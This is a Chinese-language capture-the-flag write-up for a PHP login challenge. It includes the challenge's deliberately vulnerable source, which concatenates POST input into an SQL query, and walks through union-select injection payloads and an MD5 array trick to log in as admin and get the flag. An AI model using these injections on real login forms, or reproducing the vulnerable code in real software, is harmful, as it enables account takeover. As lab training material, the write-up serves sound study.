打开题目
多次尝试以后我们发现存在一个admin的账号,但是密码我们不知道
我们尝试一下万能密码
admin' or 1=1 -- q
报错
我们尝试bp抓一下包看看
看着很像编码
先去base32解码
再base64解码
得到
我们从这个sql语句中得到注入点为name
根据报错信息我们知道是单引号的字符型注入
用万能密码1' or '1'='1'报错,猜测是过滤了or
我们用union猜测列名字段数
这样我们便得到列名字段数为3
判断‘’user‘’在哪个列
1' union select 'admin',2,3 -- q
1' union select 1,'admin',3 -- q
1' union select 1,2,'admin' -- q
通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。
查看题目源代码吧
在源代码下找到了search.php
代码如下
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag
这里其实就和md5弱比较绕过的原理一样
md5不能处理数组,如果是数组则会返回NULL
得到flag
或者
pw的参数随便写,但是要对传入的那个值进行md5值加密